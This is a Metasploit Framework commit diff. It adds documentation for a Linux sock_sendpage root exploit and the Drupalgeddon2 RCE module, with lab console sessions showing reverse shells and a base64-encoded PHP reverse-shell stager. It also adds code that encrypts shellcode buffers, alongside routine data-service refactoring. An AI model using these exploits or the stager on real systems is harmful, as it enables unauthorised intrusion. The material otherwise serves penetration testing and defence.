Merged master
commit
516b61ebaa
|
@ -209,7 +209,7 @@ GEM
|
|||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.9)
|
||||
rack (1.6.10)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
rack-test (0.6.3)
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,121 @@
|
|||
## Description
|
||||
|
||||
The Linux kernel failed to properly initialize some entries in the
|
||||
`proto_ops` struct for several protocols, leading to `NULL` being
|
||||
dereferenced and used as a function pointer. By using `mmap(2)` to map
|
||||
page `0`, an attacker can execute arbitrary code in the context of the
|
||||
kernel.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Several public exploits exist for this vulnerability, including
|
||||
spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.
|
||||
|
||||
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
||||
|
||||
* 2.4.4 up to and including 2.4.37.4
|
||||
* 2.6.0 up to and including 2.6.30.4
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
|
||||
* Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/sock_sendpage`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**DEBUG_EXPLOIT**
|
||||
|
||||
Enable exploit debug messages. (default: `false`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/sock_sendpage
|
||||
msf exploit(linux/local/sock_sendpage) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/sock_sendpage) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
|
||||
payload => linux/x86/meterpreter/reverse_tcp
|
||||
msf exploit(linux/local/sock_sendpage) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Kernel version 2.6.18 appears to be vulnerable
|
||||
[+] System architecture i686 is supported
|
||||
[+] vm.mmap_min_addr is not set
|
||||
[*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
|
||||
[*] Executing payload...
|
||||
[*] Transmitting intermediate stager...(106 bytes)
|
||||
[*] Sending stage (857352 bytes) to 172.16.191.159
|
||||
[*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.159
|
||||
OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
|
||||
Architecture : i686
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
```
|
||||
|
||||
### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
|
||||
|
||||
```
|
||||
msf > use exploit/linux/local/sock_sendpage
|
||||
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
|
||||
payload => linux/x86/shell/reverse_tcp
|
||||
msf exploit(linux/local/sock_sendpage) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/local/sock_sendpage) > run
|
||||
|
||||
[!] SESSION may not be compatible with this module.
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[+] Kernel version 2.4.27 appears to be vulnerable
|
||||
[+] System architecture i686 is supported
|
||||
[+] vm.mmap_min_addr is not set
|
||||
[*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
|
||||
[*] Executing payload...
|
||||
[*] Sending stage (36 bytes) to 172.16.191.227
|
||||
[*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
|
||||
[!] Tried to delete /tmp/.69p3FeagB, unknown result
|
||||
|
||||
3356110123
|
||||
lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
|
||||
TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
|
||||
LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=100(users)
|
||||
uname -a
|
||||
Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux
|
||||
```
|
||||
|
|
@ -0,0 +1,110 @@
|
|||
## Intro
|
||||
|
||||
This module exploits a Drupal property injection in the Forms API.
|
||||
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
|
||||
|
||||
## Setup
|
||||
|
||||
Use the provided Docker images here: <https://hub.docker.com/_/drupal/>.
|
||||
|
||||
Alternatively, you may use TurnKey Linux's distributions:
|
||||
|
||||
Drupal 7.54: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal7-14.2-jessie-amd64.iso>
|
||||
Drupal 8.3.1: <http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal8-14.2-jessie-amd64.iso>
|
||||
|
||||
Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey.
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic (PHP In-Memory)
|
||||
1 Automatic (PHP Dropper)
|
||||
2 Automatic (Unix In-Memory)
|
||||
3 Automatic (Linux Dropper)
|
||||
4 Drupal 7.x (PHP In-Memory)
|
||||
5 Drupal 7.x (PHP Dropper)
|
||||
6 Drupal 7.x (Unix In-Memory)
|
||||
7 Drupal 7.x (Linux Dropper)
|
||||
8 Drupal 8.x (PHP In-Memory)
|
||||
9 Drupal 8.x (PHP Dropper)
|
||||
10 Drupal 8.x (Unix In-Memory)
|
||||
11 Drupal 8.x (Linux Dropper)
|
||||
```
|
||||
|
||||
Automatic targeting means the Drupal version will be detected first.
|
||||
Targets with a specific version will do as they're told (regardless of
|
||||
what the server is running).
|
||||
|
||||
Dropper targets write to disk. In-memory targets don't. Be mindful of
|
||||
showing up in someone's process list, though. A dropper might be more
|
||||
viable in that regard.
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Set this to the remote path of the vulnerable Drupal install. Defaults
|
||||
to `/` for the web root.
|
||||
|
||||
**PHP_FUNC**
|
||||
|
||||
Set this to the PHP function you'd like to execute. Defaults to
|
||||
`passthru`.
|
||||
|
||||
**DUMP_OUTPUT**
|
||||
|
||||
Enable this if you'd like to see HTTP responses, including command
|
||||
output. Defaults to `false` unless `cmd/unix/generic` is your payload.
|
||||
|
||||
**VERBOSE**
|
||||
|
||||
Enable this to show what function and command were executed. Defaults to
|
||||
`false` due to the sometimes excessive output.
|
||||
|
||||
**ForceExploit**
|
||||
|
||||
Enable this to force exploitation regardless of the check result.
|
||||
Defaults to `false`, meaning the check result is respected.
|
||||
|
||||
**WritableDir**
|
||||
|
||||
Set this to a writable directory without `noexec` for binary payloads.
|
||||
Defaults to `/tmp`, but other options may include `/var/tmp` and
|
||||
`/dev/shm`.
|
||||
|
||||
## Usage
|
||||
|
||||
Drupal 7.57 from the Docker image is tested below.
|
||||
|
||||
```
|
||||
msf5 > use exploit/unix/webapp/drupal_drupalgeddon2
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhost 172.17.0.3
|
||||
rhost => 172.17.0.3
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > check
|
||||
|
||||
[*] Drupal 7.x targeted at http://172.17.0.3/
|
||||
[+] Drupal appears unpatched in CHANGELOG.txt
|
||||
[*] Executing with printf(): sdHl4fLONOKfVZL1cEvXuJCuSkue
|
||||
[+] 172.17.0.3:80 The target is vulnerable.
|
||||
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4444
|
||||
[*] Drupal 7.x targeted at http://172.17.0.3/
|
||||
[+] Drupal appears unpatched in CHANGELOG.txt
|
||||
[*] Executing with printf(): paAHBb9jyovEnLrrT5lMIB
|
||||
[*] Executing with assert(): eval(base64_decode(Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKTsgJGlwID0gJzE3Mi4xNy4wLjEnOyAkcG9ydCA9IDQ0NDQ7IGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsgJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOyAkc190eXBlID0gJ3N0cmVhbSc7IH0gaWYgKCEkcyAmJiAoJGYgPSAnZnNvY2tvcGVuJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoJGlwLCAkcG9ydCk7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7ICRzID0gJGYoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOyAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsgaWYgKCEkcmVzKSB7IGRpZSgpOyB9ICRzX3R5cGUgPSAnc29ja2V0JzsgfSBpZiAoISRzX3R5cGUpIHsgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsgfSBpZiAoISRzKSB7IGRpZSgnbm8gc29ja2V0Jyk7IH0gc3dpdGNoICgkc190eXBlKSB7IGNhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkcywgNCk7IGJyZWFrOyBjYXNlICdzb2NrZXQnOiAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOyBicmVhazsgfSBpZiAoISRsZW4pIHsgZGllKCk7IH0gJGEgPSB1bnBhY2soIk5s.ZW4iLCAkbGVuKTsgJGxlbiA9ICRhWydsZW4nXTsgJGIgPSAnJzsgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7IHN3aXRjaCAoJHNfdHlwZSkgeyBjYXNlICdzdHJlYW0nOiAkYiAuPSBmcmVhZCgkcywgJGxlbi1zdHJsZW4oJGIpKTsgYnJlYWs7IGNhc2UgJ3NvY2tldCc6ICRiIC49IHNvY2tldF9yZWFkKCRzLCAkbGVuLXN0cmxlbigkYikpOyBicmVhazsgfSB9ICRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsgJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsgaWYgKGV4dGVuc2lvbl9sb2FkZWQoJ3N1aG9zaW4nKSAmJiBpbmlfZ2V0KCdzdWhvc2luLmV4ZWN1dG9yLmRpc2FibGVfZXZhbCcpKSB7ICRzdWhvc2luX2J5cGFzcz1jcmVhdGVfZnVuY3Rpb24oJycsICRiKTsgJHN1aG9zaW5fYnlwYXNzKCk7IH0gZWxzZSB7IGV2YWwoJGIpOyB9IGRpZSgpOw));
|
||||
[*] Sending stage (37775 bytes) to 172.17.0.3
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.3:46654) at 2018-04-24 23:25:17 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
meterpreter > sysinfo
|
||||
Computer : b3a405d5568a
|
||||
OS : [redacted]
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -6,8 +6,10 @@ require 'metasploit/framework/data_service/stubs/note_data_service'
|
|||
require 'metasploit/framework/data_service/stubs/web_data_service'
|
||||
require 'metasploit/framework/data_service/stubs/service_data_service'
|
||||
require 'metasploit/framework/data_service/stubs/session_data_service'
|
||||
require 'metasploit/framework/data_service/stubs/session_event_service'
|
||||
require 'metasploit/framework/data_service/stubs/exploit_data_service'
|
||||
require 'metasploit/framework/data_service/stubs/loot_data_service'
|
||||
require 'metasploit/framework/data_service/stubs/msf_data_service'
|
||||
|
||||
#
|
||||
# All data service implementations should include this module to ensure proper implementation
|
||||
|
@ -23,8 +25,10 @@ module DataService
|
|||
include NoteDataService
|
||||
include ServiceDataService
|
||||
include SessionDataService
|
||||
include SessionEventDataService
|
||||
include ExploitDataService
|
||||
include LootDataService
|
||||
include MsfDataService
|
||||
|
||||
def name
|
||||
raise 'DataService#name is not implemented';
|
||||
|
@ -34,6 +38,10 @@ module DataService
|
|||
raise 'DataService#active is not implemented';
|
||||
end
|
||||
|
||||
def active=(value)
|
||||
raise 'DataService#active= is not implemented';
|
||||
end
|
||||
|
||||
def is_local?
|
||||
raise 'DataService#is_local? is not implemented';
|
||||
end
|
||||
|
|
|
@ -51,30 +51,36 @@ class DataProxy
|
|||
end
|
||||
|
||||
#
|
||||
# Registers a data service with the proxy and immediately
|
||||
# set as primary if online
|
||||
# Registers the specified data service with the proxy
|
||||
# and immediately sets it as the primary if active
|
||||
#
|
||||
def register_data_service(data_service, online=false)
|
||||
def register_data_service(data_service)
|
||||
validate(data_service)
|
||||
data_service_id = @data_service_id += 1
|
||||
@data_services[data_service_id] = data_service
|
||||
set_data_service(data_service_id, online)
|
||||
set_data_service(data_service_id)
|
||||
end
|
||||
|
||||
#
|
||||
# Set the data service to be used
|
||||
#
|
||||
def set_data_service(data_service_id, online=false)
|
||||
def set_data_service(data_service_id)
|
||||
data_service = @data_services[data_service_id.to_i]
|
||||
if data_service.nil?
|
||||
raise "Data service with id: #{data_service_id} does not exist"
|
||||
end
|
||||
|
||||
if !online && !data_service.active
|
||||
raise "Data service not online: #{data_service.name}, not setting as active"
|
||||
if !data_service.is_local? && !data_service.active
|
||||
raise "Data service #{data_service.name} is not online, and won't be set as active"
|
||||
end
|
||||
|
||||
prev_data_service = @current_data_service
|
||||
@current_data_service = data_service
|
||||
# reset the previous data service's active flag if it is remote
|
||||
# to ensure checks are performed the next time it is set
|
||||
if !prev_data_service.nil? && !prev_data_service.is_local?
|
||||
prev_data_service.active = false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -153,12 +159,12 @@ class DataProxy
|
|||
begin
|
||||
db_manager = opts.delete(:db_manager)
|
||||
if !db_manager.nil?
|
||||
register_data_service(db_manager, true)
|
||||
register_data_service(db_manager)
|
||||
@usable = true
|
||||
else
|
||||
@error = 'disabled'
|
||||
end
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
raise "Unable to initialize data service: #{e.message}"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -19,6 +19,7 @@ module DataProxyAutoLoader
|
|||
autoload :DbExportDataProxy, 'metasploit/framework/data_service/proxy/db_export_data_proxy'
|
||||
autoload :DbImportDataProxy, 'metasploit/framework/data_service/proxy/db_import_data_proxy'
|
||||
autoload :VulnAttemptDataProxy, 'metasploit/framework/data_service/proxy/vuln_attempt_data_proxy'
|
||||
autoload :MsfDataProxy, 'metasploit/framework/data_service/proxy/msf_data_proxy'
|
||||
|
||||
include ServiceDataProxy
|
||||
include HostDataProxy
|
||||
|
@ -36,4 +37,5 @@ module DataProxyAutoLoader
|
|||
include DbExportDataProxy
|
||||
include DbImportDataProxy
|
||||
include VulnAttemptDataProxy
|
||||
include MsfDataProxy
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
module MsfDataProxy
|
||||
def get_msf_version
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
data_service.get_msf_version
|
||||
rescue => e
|
||||
self.log_error(e, "Problem retrieving Metasploit version")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -49,6 +49,26 @@ class RemoteHTTPDataService
|
|||
|
||||
end
|
||||
|
||||
def name
|
||||
"remote_data_service: (#{@endpoint})"
|
||||
end
|
||||
|
||||
def active
|
||||
# checks if data service is online when @active is falsey and makes the assignment
|
||||
# this is to prevent repetitive calls to check if data service is online
|
||||
# logic should be enhanced to considering data service connectivity
|
||||
# and future data service implementations
|
||||
@active ||= is_online?
|
||||
end
|
||||
|
||||
def active=(value)
|
||||
@active = value
|
||||
end
|
||||
|
||||
def is_local?
|
||||
false
|
||||
end
|
||||
|
||||
def error
|
||||
'none'
|
||||
end
|
||||
|
@ -161,7 +181,7 @@ class RemoteHTTPDataService
|
|||
rescue EOFError => e
|
||||
elog "No data was returned from the data service for request type/path : #{request_type}/#{path}, message: #{e.message}"
|
||||
return FailedResponse.new('')
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
elog "Problem with HTTP request for type/path: #{request_type}/#{path} message: #{e.message}"
|
||||
return FailedResponse.new('')
|
||||
ensure
|
||||
|
@ -169,21 +189,6 @@ class RemoteHTTPDataService
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# TODO: fix this
|
||||
#
|
||||
def active
|
||||
return true
|
||||
end
|
||||
|
||||
def name
|
||||
"remote_data_service: (#{@endpoint})"
|
||||
end
|
||||
|
||||
def is_local?
|
||||
false
|
||||
end
|
||||
|
||||
def set_header(key, value)
|
||||
@headers = Hash.new() if @headers.nil?
|
||||
|
||||
|
@ -233,6 +238,19 @@ class RemoteHTTPDataService
|
|||
raise 'Endpoint cannot be nil' if endpoint.nil?
|
||||
end
|
||||
|
||||
#
|
||||
# Checks if the data service is online by making a request
|
||||
# for the Metasploit version number from the remote endpoint
|
||||
#
|
||||
def is_online?
|
||||
response = self.get_msf_version
|
||||
if response && !response[:metasploit_version].empty?
|
||||
return true
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def build_request(request, data_hash)
|
||||
request.content_type = 'application/json'
|
||||
if !data_hash.nil? && !data_hash.empty?
|
||||
|
|
|
@ -17,6 +17,7 @@ module DataServiceAutoLoader
|
|||
autoload :RemoteNmapDataService, 'metasploit/framework/data_service/remote/http/remote_nmap_data_service'
|
||||
autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service'
|
||||
autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service'
|
||||
autoload :RemoteMsfDataService, 'metasploit/framework/data_service/remote/http/remote_msf_data_service'
|
||||
|
||||
include RemoteHostDataService
|
||||
include RemoteEventDataService
|
||||
|
@ -33,4 +34,5 @@ module DataServiceAutoLoader
|
|||
include RemoteNmapDataService
|
||||
include RemoteDbExportDataService
|
||||
include RemoteVulnAttemptDataService
|
||||
include RemoteMsfDataService
|
||||
end
|
|
@ -0,0 +1,12 @@
|
|||
require 'metasploit/framework/data_service/remote/http/response_data_helper'
|
||||
|
||||
module RemoteMsfDataService
|
||||
include ResponseDataHelper
|
||||
|
||||
MSF_API_PATH = '/api/v1/msf'
|
||||
MSF_VERSION_API_PATH = "#{MSF_API_PATH}/version"
|
||||
|
||||
def get_msf_version
|
||||
json_to_hash(self.get_data(MSF_VERSION_API_PATH, nil, nil))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,5 @@
|
|||
module MsfDataService
|
||||
def get_msf_version
|
||||
raise 'MsfDataService#get_msf_version is not implemented'
|
||||
end
|
||||
end
|
|
@ -18,9 +18,13 @@ module Buffer
|
|||
# Serializes a buffer to a provided format. The formats supported are raw,
|
||||
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
|
||||
#
|
||||
def self.transform(buf, fmt = "ruby", var_name = 'buf')
|
||||
def self.transform(buf, fmt = "ruby", var_name = 'buf', encryption_opts={})
|
||||
default_wrap = 60
|
||||
|
||||
unless encryption_opts.empty?
|
||||
buf = encrypt_buffer(buf, encryption_opts)
|
||||
end
|
||||
|
||||
case fmt
|
||||
when 'raw'
|
||||
when 'num'
|
||||
|
@ -120,6 +124,50 @@ module Buffer
|
|||
]
|
||||
end
|
||||
|
||||
def self.encryption_formats
|
||||
[
|
||||
'xor',
|
||||
'base64',
|
||||
'aes256',
|
||||
'rc4'
|
||||
]
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def self.encrypt_buffer(value, encryption_opts)
|
||||
buf = ''
|
||||
|
||||
case encryption_opts[:format]
|
||||
when 'aes256'
|
||||
if encryption_opts[:iv].blank?
|
||||
raise ArgumentError, 'Initialization vector is missing'
|
||||
elsif encryption_opts[:key].blank?
|
||||
raise ArgumentError, 'Encryption key is missing'
|
||||
end
|
||||
|
||||
buf = Rex::Crypto.encrypt_aes256(encryption_opts[:iv], encryption_opts[:key], value)
|
||||
when 'base64'
|
||||
buf = Rex::Text.encode_base64(value)
|
||||
when 'xor'
|
||||
if encryption_opts[:key].blank?
|
||||
raise ArgumentError, 'XOR key is missing'
|
||||
end
|
||||
|
||||
buf = Rex::Text.xor(encryption_opts[:key], value)
|
||||
when 'rc4'
|
||||
if encryption_opts[:key].blank?
|
||||
raise ArgumentError, 'Encryption key is missing'
|
||||
end
|
||||
|
||||
buf = Rex::Crypto.rc4(encryption_opts[:key], value)
|
||||
else
|
||||
raise ArgumentError, "Unsupported encryption format: #{encryption_opts[:format]}", caller
|
||||
end
|
||||
|
||||
return buf
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -19,7 +19,10 @@ class DataStore < Hash
|
|||
@imported_by = Hash.new
|
||||
end
|
||||
|
||||
attr_accessor :options
|
||||
attr_accessor :aliases
|
||||
attr_accessor :imported
|
||||
attr_accessor :imported_by
|
||||
|
||||
#
|
||||
# Clears the imported flag for the supplied key since it's being set
|
||||
|
@ -216,6 +219,38 @@ class DataStore < Hash
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Return a deep copy of this datastore.
|
||||
#
|
||||
def copy
|
||||
ds = self.class.new
|
||||
self.keys.each do |k|
|
||||
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
end
|
||||
ds.aliases = self.aliases.dup
|
||||
ds
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge! so that we merge the aliases and imported hashes
|
||||
#
|
||||
def merge!(other)
|
||||
super
|
||||
if other.is_a? DataStore
|
||||
self.aliases.merge!(other.aliases)
|
||||
self.imported.merge!(other.imported)
|
||||
self.imported_by.merge!(other.imported_by)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Override merge to ensure we merge the aliases and imported hashes
|
||||
#
|
||||
def merge(other)
|
||||
ds = self.copy
|
||||
ds.merge!(other)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of user-defined datastore values. The returned hash does
|
||||
# not include default option values.
|
||||
|
@ -269,8 +304,8 @@ protected
|
|||
|
||||
# Scan each alias looking for a key
|
||||
search_k = k.downcase
|
||||
if @aliases.has_key?(search_k)
|
||||
search_k = @aliases[search_k]
|
||||
if self.aliases.has_key?(search_k)
|
||||
search_k = self.aliases[search_k]
|
||||
end
|
||||
|
||||
# Scan each key looking for a match
|
||||
|
@ -341,12 +376,12 @@ class ModuleDataStore < DataStore
|
|||
# Return a deep copy of this datastore.
|
||||
#
|
||||
def copy
|
||||
clone = self.class.new(@_module)
|
||||
ds = self.class.new(@_module)
|
||||
self.keys.each do |k|
|
||||
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
|
||||
end
|
||||
clone.aliases = self.aliases
|
||||
clone
|
||||
ds.aliases = self.aliases.dup
|
||||
ds
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
module MsfServlet
|
||||
|
||||
def self.api_path
|
||||
'/api/v1/msf'
|
||||
end
|
||||
|
||||
def self.api_version_path
|
||||
"#{MsfServlet.api_path}/version"
|
||||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.get MsfServlet.api_version_path, &get_msf_version
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def self.get_msf_version
|
||||
lambda {
|
||||
set_json_response({metasploit_version: Metasploit::Framework::VERSION})
|
||||
}
|
||||
end
|
||||
|
||||
end
|
|
@ -1,21 +0,0 @@
|
|||
module OnlineTestServlet
|
||||
|
||||
def self.api_path
|
||||
'/api/v1/online'
|
||||
end
|
||||
|
||||
def self.registered(app)
|
||||
app.get OnlineTestServlet.api_path, &get_active
|
||||
end
|
||||
|
||||
#######
|
||||
private
|
||||
#######
|
||||
|
||||
def self.get_active
|
||||
lambda {
|
||||
set_empty_response()
|
||||
}
|
||||
end
|
||||
|
||||
end
|
|
@ -5,7 +5,7 @@ require 'msf/core/db_manager/http/servlet/note_servlet'
|
|||
require 'msf/core/db_manager/http/servlet/vuln_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/event_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/web_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/online_test_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/msf_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/workspace_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/service_servlet'
|
||||
require 'msf/core/db_manager/http/servlet/session_servlet'
|
||||
|
@ -26,7 +26,7 @@ class SinatraApp < Sinatra::Base
|
|||
register VulnServlet
|
||||
register EventServlet
|
||||
register WebServlet
|
||||
register OnlineTestServlet
|
||||
register MsfServlet
|
||||
register NoteServlet
|
||||
register WorkspaceServlet
|
||||
register ServiceServlet
|
||||
|
|
|
@ -25,7 +25,7 @@ module Payload::Linux::ReverseTcp_x64
|
|||
conf = {
|
||||
port: datastore['LPORT'],
|
||||
host: datastore['LHOST'],
|
||||
retry_count: datastore['ReverseConnectRetries'],
|
||||
retry_count: datastore['StagerRetryCount'],
|
||||
sleep_seconds: datastore['StagerRetryWait'],
|
||||
}
|
||||
|
||||
|
|
|
@ -83,6 +83,15 @@ module Msf
|
|||
# @!attribute var_name
|
||||
# @return [String] The custom variable string for certain output formats
|
||||
attr_accessor :var_name
|
||||
# @!attribute encryption_format
|
||||
# @return [String] The encryption format to use for the shellcode.
|
||||
attr_accessor :encryption_format
|
||||
# @!attribute encryption_key
|
||||
# @return [String] The key to use for the encryption
|
||||
attr_accessor :encryption_key
|
||||
# @!attribute encryption_iv
|
||||
# @return [String] The initialization vector for the encryption (not all apply)
|
||||
attr_accessor :encryption_iv
|
||||
|
||||
|
||||
# @param opts [Hash] The options hash
|
||||
|
@ -123,6 +132,9 @@ module Msf
|
|||
@var_name = opts.fetch(:var_name, 'buf')
|
||||
@smallest = opts.fetch(:smallest, false)
|
||||
@encoder_space = opts.fetch(:encoder_space, @space)
|
||||
@encryption_format = opts.fetch(:encryption_format, nil)
|
||||
@encryption_key = opts.fetch(:encryption_key, nil)
|
||||
@encryption_iv = opts.fetch(:encryption_iv, nil)
|
||||
|
||||
@framework = opts.fetch(:framework)
|
||||
|
||||
|
@ -276,15 +288,20 @@ module Msf
|
|||
# @param shellcode [String] the processed shellcode to be formatted
|
||||
# @return [String] The final formatted form of the payload
|
||||
def format_payload(shellcode)
|
||||
encryption_opts = {}
|
||||
encryption_opts[:format] = encryption_format if encryption_format
|
||||
encryption_opts[:iv] = encryption_iv if encryption_iv
|
||||
encryption_opts[:key] = encryption_key if encryption_key
|
||||
|
||||
case format.downcase
|
||||
when "js_be"
|
||||
if Rex::Arch.endian(arch) != ENDIAN_BIG
|
||||
raise IncompatibleEndianess, "Big endian format selected for a non big endian payload"
|
||||
else
|
||||
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
|
||||
::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
|
||||
end
|
||||
when *::Msf::Simple::Buffer.transform_formats
|
||||
::Msf::Simple::Buffer.transform(shellcode, format, @var_name)
|
||||
::Msf::Simple::Buffer.transform(shellcode, format, @var_name, encryption_opts)
|
||||
when *::Msf::Util::EXE.to_executable_fmt_formats
|
||||
::Msf::Util::EXE.to_executable_fmt(framework, arch, platform_list, shellcode, format, exe_options)
|
||||
else
|
||||
|
|
|
@ -13,7 +13,7 @@ module Kernel
|
|||
# @return [String]
|
||||
#
|
||||
def uname(opts='-a')
|
||||
cmd_exec("uname #{opts}").to_s
|
||||
cmd_exec("uname #{opts}").to_s.strip
|
||||
rescue
|
||||
raise "Failed to run uname #{opts}"
|
||||
end
|
||||
|
@ -87,18 +87,139 @@ module Kernel
|
|||
raise 'Could not determine SMEP status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if Kernel Address Isolation (KAISER) is enabled
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def kaiser_enabled?
|
||||
cmd_exec('cat /proc/cpuinfo').to_s.include? 'kaiser'
|
||||
rescue
|
||||
raise 'Could not determine KAISER status'
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if user namespaces are enabled, false if not.
|
||||
#
|
||||
# @return [Boolean]
|
||||
#
|
||||
def userns_enabled?
|
||||
return false if cmd_exec('cat /proc/sys/user/max_user_namespaces').to_s.eql? '0'
|
||||
